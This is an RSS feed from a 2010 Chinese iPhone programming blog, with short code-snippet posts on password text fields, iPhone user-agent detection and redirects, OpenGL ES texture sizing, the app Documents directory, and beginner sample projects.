<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>iPhoneGeek 爱疯极客 &#187; 代码片段</title>
	<atom:link href="http://www.iphone-geek.cn/tag/%e4%bb%a3%e7%a0%81%e7%89%87%e6%ae%b5/feed" rel="self" type="application/rss+xml" />
	<link>http://www.iphone-geek.cn</link>
	<description>iPhone 新闻，编程，技巧与提示，代码，教程</description>
	<lastBuildDate>Sun, 25 Jul 2010 13:49:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>以密码方式显示UITextField文本</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e4%bb%a5%e5%af%86%e7%a0%81%e6%96%b9%e5%bc%8f%e6%98%be%e7%a4%bauitextfield%e6%96%87%e6%9c%ac</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e4%bb%a5%e5%af%86%e7%a0%81%e6%96%b9%e5%bc%8f%e6%98%be%e7%a4%bauitextfield%e6%96%87%e6%9c%ac#comments</comments>
		<pubDate>Sun, 25 Jul 2010 13:44:14 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[用户界面]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=988</guid>
		<description><![CDATA[很简单，如下：
1textField.secureTextEntry = YES;


]]></description>
			<content:encoded><![CDATA[<p>很简单，如下：</p>
<p><div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">textField.secureTextEntry <span style="color: #002200;">=</span> <span style="color: #a61390;">YES</span>;</div></td></tr></tbody></table></div>
</p>
<p><br class="spacer_" /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e4%bb%a5%e5%af%86%e7%a0%81%e6%96%b9%e5%bc%8f%e6%98%be%e7%a4%bauitextfield%e6%96%87%e6%9c%ac/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>使用Javascript和PHP检测iPhone/iPod的使用</title>
		<link>http://www.iphone-geek.cn/%e7%bd%91%e9%a1%b5%e8%ae%be%e8%ae%a1/%e4%bd%bf%e7%94%a8javascript%e5%92%8cphp%e6%a3%80%e6%b5%8biphoneipod%e7%9a%84%e4%bd%bf%e7%94%a8</link>
		<comments>http://www.iphone-geek.cn/%e7%bd%91%e9%a1%b5%e8%ae%be%e8%ae%a1/%e4%bd%bf%e7%94%a8javascript%e5%92%8cphp%e6%a3%80%e6%b5%8biphoneipod%e7%9a%84%e4%bd%bf%e7%94%a8#comments</comments>
		<pubDate>Thu, 17 Jun 2010 02:53:02 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[网页设计]]></category>
		<category><![CDATA[网站开发]]></category>
		<category><![CDATA[提示与技巧]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=967</guid>
		<description><![CDATA[这与iPhone编程无关，不过当你的网站需要为iPhone/iPod进行优化时，可能会需要使用下面的技术：

使用Javascript检测是否正在使用iPhone 和 iPod

如果你的网页需要支持iPhone和iPod Touch，首先你必须检测到是否正在使用iPhone和iPod Touch，这样你才可能为其使用特定的代码或样页式。下列代码段使用Javascript来检测iPhone/iPod Touch的使用，从而将网页重定向iPhone相关的网页。

123456&#60;br /&#62;
if&#40;&#40;navigator.userAgent.match&#40;/iPhone/i&#41;&#41; &#124;&#124; &#40;navigator.userAgent.match&#40;/iPod/i&#41;&#41;&#41; &#123;&#60;br /&#62;
&#160; &#160; if &#40;document.cookie.indexOf&#40;&#34;iphone_redirect=false&#34;&#41; == -1&#41; &#123;&#60;br /&#62;
&#160; &#160; &#160; &#160; window.location = &#34;http://m.espn.go.com/wireless/?iphone&#38;i=COMR&#34;;&#60;br /&#62;
&#160; &#160; &#125;&#60;br /&#62;
&#125;&#60;br /&#62;

 
使用PHP检测是否正在使用 iPhone 和 iPod

有时在iPhone上，Javascript被禁止使用。为检测到iPhone/iPod Touch的使用，你需要使用下列PHP代码：

12345&#60;br /&#62;
if&#40;strstr&#40;$_SERVER&#91;'HTTP_USER_AGENT'&#93;,'iPhone'&#41; &#124;&#124; strstr&#40;$_SERVER&#91;'HTTP_USER_AGENT'&#93;,'iPod'&#41;&#41; &#123;&#60;br /&#62;
&#160; &#160; header&#40;'Location: http://yoursite.com/iphone'&#41;;&#60;br /&#62;
&#160; &#160; exit&#40;&#41;;&#60;br /&#62;
&#125;&#60;br /&#62;
]]></description>
			<content:encoded><![CDATA[<p>这与iPhone编程无关，不过当你的网站需要为iPhone/iPod进行优化时，可能会需要使用下面的技术：</p>
<p><br class="spacer_" /></p>
<h2>使用Javascript检测是否正在使用iPhone 和 iPod</h2>
<p><br class="spacer_" /></p>
<p>如果你的网页需要支持iPhone和iPod Touch，首先你必须检测到是否正在使用iPhone和iPod Touch，这样你才可能为其使用特定的代码或样页式。下列代码段使用Javascript来检测iPhone/iPod Touch的使用，从而将网页重定向iPhone相关的网页。</p>
<p><br class="spacer_" /></p>
<p><div class="codecolorer-container java mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="java codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span><br />
<span style="color: #000000; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>navigator.<span style="color: #006633;">userAgent</span>.<span style="color: #006633;">match</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">/</span>iPhone<span style="color: #339933;">/</span>i<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span>navigator.<span style="color: #006633;">userAgent</span>.<span style="color: #006633;">match</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">/</span>iPod<span style="color: #339933;">/</span>i<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>document.<span style="color: #006633;">cookie</span>.<span style="color: #006633;">indexOf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;iphone_redirect=false&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; window.<span style="color: #006633;">location</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;http://m.espn.go.com/wireless/?iphone&amp;i=COMR&quot;</span><span style="color: #339933;">;&lt;</span>br <span style="color: #339933;">/&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span></div></td></tr></tbody></table></div>
</p>
<h2> </h2>
<h2>使用PHP检测是否正在使用 iPhone 和 iPod</h2>
<p><br class="spacer_" /></p>
<p>有时在iPhone上，Javascript被禁止使用。为检测到iPhone/iPod Touch的使用，你需要使用下列PHP代码：</p>
<p><br class="spacer_" /></p>
<p><div class="codecolorer-container php mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_USER_AGENT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'iPhone'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_USER_AGENT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'iPod'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Location: http://yoursite.com/iphone'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;</span>br <span style="color: #339933;">/&gt;</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;&lt;</span>br <span style="color: #339933;">/&gt;</span><br />
<span style="color: #009900;">&#125;</span><span style="color: #339933;">&lt;</span>br <span style="color: #339933;">/&gt;</span></div></td></tr></tbody></table></div></p>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bd%91%e9%a1%b5%e8%ae%be%e8%ae%a1/%e4%bd%bf%e7%94%a8javascript%e5%92%8cphp%e6%a3%80%e6%b5%8biphoneipod%e7%9a%84%e4%bd%bf%e7%94%a8/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>OpenGL ES纹理尺寸限制的处理方法</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/opengl-es%e7%ba%b9%e7%90%86%e5%b0%ba%e5%af%b8%e9%99%90%e5%88%b6%e7%9a%84%e5%a4%84%e7%90%86%e6%96%b9%e6%b3%95</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/opengl-es%e7%ba%b9%e7%90%86%e5%b0%ba%e5%af%b8%e9%99%90%e5%88%b6%e7%9a%84%e5%a4%84%e7%90%86%e6%96%b9%e6%b3%95#comments</comments>
		<pubDate>Tue, 09 Mar 2010 03:13:34 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[图形图像]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[OpenGL ES]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=916</guid>
		<description><![CDATA[大家都知道，OpenGL ES对纹理的尺寸有限制，就是长和宽都必须是2的整数次幂。（实际上OpenGL都有此限制，但有一些扩展可以解决此问题）。因此处理方案有两种：


将纹理尺寸限制为2的整数次幂。比如，我有一个480&#215;320的背景图案，我可以用Photoshop将画布设置为512&#215;512，在纹理映射时只使用480&#215;320部分。当然我也可以将多个图案合成在一个纹理中，在纹理映射时根据图案的位置进行映射。 
仍然使用正常的图像尺寸，但在使用时进行转换。下面是源代码：


1234567891011121314151617181920212223242526&#160; &#160; &#160; &#160; // 首先调整纹理的长和宽为2的整数次幂 &#160; &#160; &#160; &#160; 
&#160; &#160; &#160; &#160; if&#40; &#40;_width != 1&#41; &#38;&#38; &#40;_width &#38; &#40;_width - 1&#41;&#41; &#41;
&#160; &#160; &#160; &#160; &#123;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; i = 1;
&#160; &#160; &#160; &#160; &#160; &#160; &#160; &#160; while&#40;&#40;sizeToFit ? 2 * i : i&#41; [...]]]></description>
			<content:encoded><![CDATA[<p>大家都知道，OpenGL ES对纹理的尺寸有限制，就是长和宽都必须是2的整数次幂。（实际上OpenGL都有此限制，但有一些扩展可以解决此问题）。因此处理方案有两种：</p>
<p><br class="spacer_" /></p>
<ol>
<li>将纹理尺寸限制为2的整数次幂。比如，我有一个480&#215;320的背景图案，我可以用Photoshop将画布设置为512&#215;512，在纹理映射时只使用480&#215;320部分。当然我也可以将多个图案合成在一个纹理中，在纹理映射时根据图案的位置进行映射。 </li>
<li>仍然使用正常的图像尺寸，但在使用时进行转换。下面是源代码：</li>
</ol>
<p><br class="spacer_" /></p>
<p><div class="codecolorer-container cpp mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br /></div></td><td><div class="cpp codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666;">// 首先调整纹理的长和宽为2的整数次幂 &nbsp; &nbsp; &nbsp; &nbsp; </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span> <span style="color: #008000;">&#40;</span>_width <span style="color: #000040;">!</span><span style="color: #000080;">=</span> 1<span style="color: #008000;">&#41;</span> <span style="color: #000040;">&amp;&amp;</span> <span style="color: #008000;">&#40;</span>_width <span style="color: #000040;">&amp;</span> <span style="color: #008000;">&#40;</span>_width <span style="color: #000040;">-</span> 1<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i <span style="color: #000080;">=</span> <span style="color: #0000dd;">1</span><span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>sizeToFit <span style="color: #008080;">?</span> 2 <span style="color: #000040;">*</span> i <span style="color: #008080;">:</span> i<span style="color: #008000;">&#41;</span> <span style="color: #000080;">&lt;</span> _width<span style="color: #008000;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i <span style="color: #000040;">*</span><span style="color: #000080;">=</span> <span style="color: #0000dd;">2</span><span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _width <span style="color: #000080;">=</span> i<span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">if</span><span style="color: #008000;">&#40;</span> <span style="color: #008000;">&#40;</span>_height <span style="color: #000040;">!</span><span style="color: #000080;">=</span> 1<span style="color: #008000;">&#41;</span> <span style="color: #000040;">&amp;&amp;</span> <span style="color: #008000;">&#40;</span>_height <span style="color: #000040;">&amp;</span> <span style="color: #008000;">&#40;</span>_height <span style="color: #000040;">-</span> 1<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i <span style="color: #000080;">=</span> <span style="color: #0000dd;">1</span><span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>sizeToFit <span style="color: #008080;">?</span> 2 <span style="color: #000040;">*</span> i <span style="color: #008080;">:</span> i<span style="color: #008000;">&#41;</span> <span style="color: #000080;">&lt;</span> _height<span style="color: #008000;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i <span style="color: #000040;">*</span><span style="color: #000080;">=</span> <span style="color: #0000dd;">2</span><span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _height <span style="color: #000080;">=</span> i<span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666;">// 如果调整后的图像尺寸大于最大纹理尺寸（1024），那么需要缩小</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">while</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>_width <span style="color: #000040;">&amp;</span>gt<span style="color: #008080;">;</span> kMaxTextureSize<span style="color: #008000;">&#41;</span> <span style="color: #000040;">||</span> <span style="color: #008000;">&#40;</span>_height <span style="color: #000040;">&amp;</span>gt<span style="color: #008080;">;</span> kMaxTextureSize<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _width <span style="color: #000040;">/</span><span style="color: #000080;">=</span> <span style="color: #0000dd;">2</span><span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; _height <span style="color: #000040;">/</span><span style="color: #000080;">=</span> <span style="color: #0000dd;">2</span><span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; transform <span style="color: #000080;">=</span> CGAffineTransformScale<span style="color: #008000;">&#40;</span>transform, 0.5, 0.5<span style="color: #008000;">&#41;</span><span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; imageSize.<span style="color: #007788;">x</span> <span style="color: #000040;">*</span><span style="color: #000080;">=</span> <span style="color:#800080;">0.5</span><span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; imageSize.<span style="color: #007788;">y</span> <span style="color: #000040;">*</span><span style="color: #000080;">=</span> <span style="color:#800080;">0.5</span><span style="color: #008080;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #008000;">&#125;</span></div></td></tr></tbody></table></div>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/opengl-es%e7%ba%b9%e7%90%86%e5%b0%ba%e5%af%b8%e9%99%90%e5%88%b6%e7%9a%84%e5%a4%84%e7%90%86%e6%96%b9%e6%b3%95/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPhone程序的文档目录</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/iphone%e7%a8%8b%e5%ba%8f%e7%9a%84%e6%96%87%e6%a1%a3%e7%9b%ae%e5%bd%95</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/iphone%e7%a8%8b%e5%ba%8f%e7%9a%84%e6%96%87%e6%a1%a3%e7%9b%ae%e5%bd%95#comments</comments>
		<pubDate>Thu, 04 Feb 2010 06:09:12 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[基础]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=868</guid>
		<description><![CDATA[最近实在太忙，手头上的事情还没有完成，因此正在进行的几篇有关OpenGL ES的文章只能推后了。

今天介绍一下怎样获得iPhone程序的文档目录（通常用来存储用户数据），方法一：

12NSString* documentsDirectory &#160;= &#91;NSHomeDirectory&#40;&#41; 
&#160; &#160; &#160; &#160; stringByAppendingPathComponent:@&#34;Documents&#34;&#93;;

方法二：

12NSArray *paths = NSSearchPathForDirectoriesInDomains&#40;NSDocumentDirectory, NSUserDomainMask, YES&#41;; 
NSString *documentsDirectory = &#91;paths objectAtIndex:0&#93;;
]]></description>
			<content:encoded><![CDATA[<p>最近实在太忙，手头上的事情还没有完成，因此正在进行的几篇有关OpenGL ES的文章只能推后了。</p>
<p><br class="spacer_" /></p>
<p>今天介绍一下怎样获得iPhone程序的文档目录（通常用来存储用户数据），方法一：</p>
<p><br class="spacer_" /></p>
<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a><span style="color: #002200;">*</span> documentsDirectory &nbsp;<span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span>NSHomeDirectory<span style="color: #002200;">&#40;</span><span style="color: #002200;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; stringByAppendingPathComponent<span style="color: #002200;">:</span><span style="color: #bf1d1a;">@</span><span style="color: #bf1d1a;">&quot;Documents&quot;</span><span style="color: #002200;">&#93;</span>;</div></td></tr></tbody></table></div>
<p><br class="spacer_" /></p>
<p>方法二：</p>
<p><br class="spacer_" /></p>
<div class="codecolorer-container objc mac-classic" style="overflow:auto;white-space:nowrap;border: 1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="objc codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSArray_Class/"><span style="color: #400080;">NSArray</span></a> <span style="color: #002200;">*</span>paths <span style="color: #002200;">=</span> NSSearchPathForDirectoriesInDomains<span style="color: #002200;">&#40;</span>NSDocumentDirectory, NSUserDomainMask, <span style="color: #a61390;">YES</span><span style="color: #002200;">&#41;</span>; <br />
<a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Classes/NSString_Class/"><span style="color: #400080;">NSString</span></a> <span style="color: #002200;">*</span>documentsDirectory <span style="color: #002200;">=</span> <span style="color: #002200;">&#91;</span>paths objectAtIndex<span style="color: #002200;">:</span>0<span style="color: #002200;">&#93;</span>;</div></td></tr></tbody></table></div>
]]></content:encoded>
			<wfw:commentRss>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/iphone%e7%a8%8b%e5%ba%8f%e7%9a%84%e6%96%87%e6%a1%a3%e7%9b%ae%e5%bd%95/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>开始学习iphone编程之六 &#8211; 简单示例代码</title>
		<link>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e5%bc%80%e5%a7%8b%e5%ad%a6%e4%b9%a0iphone%e7%bc%96%e7%a8%8b%e4%b9%8b%e5%85%ad-%e7%ae%80%e5%8d%95%e7%a4%ba%e4%be%8b%e4%bb%a3%e7%a0%81</link>
		<comments>http://www.iphone-geek.cn/%e7%bc%96%e7%a8%8b/%e5%bc%80%e5%a7%8b%e5%ad%a6%e4%b9%a0iphone%e7%bc%96%e7%a8%8b%e4%b9%8b%e5%85%ad-%e7%ae%80%e5%8d%95%e7%a4%ba%e4%be%8b%e4%bb%a3%e7%a0%81#comments</comments>
		<pubDate>Mon, 18 Jan 2010 09:53:24 +0000</pubDate>
		<dc:creator>bagusflyer</dc:creator>
				<category><![CDATA[用户界面]]></category>
		<category><![CDATA[编程]]></category>
		<category><![CDATA[源代码]]></category>
		<category><![CDATA[代码片段]]></category>

		<guid isPermaLink="false">http://www.iphone-geek.cn/?p=788</guid>
		<description><![CDATA[下面有一些iPhone OS 3.0的范例代码。这些代码都是没有使用Interface Builder的。作为初学者，用这种方法可以更清晰的知道程序是怎样创建用户接口的。

Window， View 和 Control
最基本的iPhone组件。
第一个程序

演示了：


设置项目并通过程序配置用户界面。
创建一个自定义类实现UIApplicationDelegate 协议。
在 main.m中设置delegate。 
创建一个UIWindow 并显示于屏幕上。
为主窗口增加一个子视图。

FirstApp源代码下载

可编辑详情视窗

提供一个文本域和一个按钮。
演示了：

使用CGRect 结构来确定子视图大小和定位。
创建一个诸如UITextField 和 UIButton的UIControl子类 。
实现处理用户触摸动作的方法。
在用户触发事件时修改 UITextField的值。
动态修改 UILabel的值。


EditableDetailView源码下载

视图动画



提供一个文本域和按钮。
演示了：

创建一个自定义 UIView 子类，它提供了自定义的动画行为。
启动 CAAnimation 。
为UIView增加一个或多个CAAffineTransform。
设置诸如动画曲线，时长和重复次数等属性。


AnimatingAView1.1源码下载

Table Views

一系列示例展示了表格视图以及导航控制器。
简单TableView


包括一个列表式UITableView，它显示了一个数组中的字符串。

演示了：

创建一个自定义UITableViewController子类。 
实现UITableViewDataSource协议要求的方法并为UITableView赋值。 
创建一个UITableViewCell并赋值。
在表格视图的各行以不同字体属性显示不同的字符串。


SimpleTableView1.1源码下载

带导航条的TableView

包括一个列表式UITableView，当用户轻触某行时进入分组式表格视图。
演示了：

通过 UINavigationController 提供不同屏幕间的导航。
实现UITableViewDelegate协议的tableViewDidSelectRowAtIndexPath: 方法来处理行选择，进入另一个视图。
通过设置字体等来控制UITableViewCell 的外观。
需要时自动加载代表 UITableView 的数据。
使用分组式 UITableView 来表示一个详情视图。


TableViewWithNavigation1.1源码下载

可编辑TableView


具有一个列表式UITableView，允许添加，删除以及行的重新排序，并允许进入包括了可编辑字段的分组式表格视图对属性进行编辑。

演示了：

创建了一个包括可编辑UITextField的自定义UITableViewCell子类。
使用UINavigationController添加新的条目到 UITableView。 
创建并改变UIImage 的大小来设置表格单元的图像。
管理表格视图的键盘，通过程序使其出现，改变键盘类型以及消失。
管理导航控制器UINavigationBar上的按钮。


EditableTableView1.1源码下载

带有文件支持的TableView

类似于可编辑TableView，但增加一些特性，包括文件支持。

演示了：

创建一个包括UITextField的自定义UITableViewCell 子类，它允许表格单元可编辑。
使用UINavigationController 增加新条目到 UITableView。 
创建并改变UIImage的大小从而设置表格单元的图像。
管理表格视图的键盘，通过程序使其出现，改变键盘类型以及消失。
管理导航控制器UINavigationBar上的按钮。


TableViewWithFilePersistence1.1源码下载

]]></description>
			<content:encoded><![CDATA[<p>下面有一些iPhone OS 3.0的范例代码。这些代码都是没有使用Interface Builder的。作为初学者，用这种方法可以更清晰的知道程序是怎样创建用户接口的。</p>
<p><span id="more-788"></span></p>
<h3 style="margin-top: 24px;">Window， View 和 Control</h3>
<p>最基本的iPhone组件。</p>
<h4>第一个程序</h4>
<p><a href="http://www.iphone-geek.cn/wp-content/uploads/2010/01/FirstApp.png"><img class="alignnone size-full wp-image-790" title="FirstApp" src="http://www.iphone-geek.cn/wp-content/uploads/2010/01/FirstApp.png" alt="FirstApp" width="257" height="375" /></a></p>
<p>演示了：</p>
<p><!-- ul.nested li { padding: 5px; line-height: 18px; } --></p>
<ul>
<li>设置项目并通过程序配置用户界面。</li>
<li>创建一个自定义类实现UIApplicationDelegate 协议。</li>
<li>在 main.m中设置delegate。 </li>
<li>创建一个UIWindow 并显示于屏幕上。</li>
<li>为主窗口增加一个子视图。</li>
</ul>
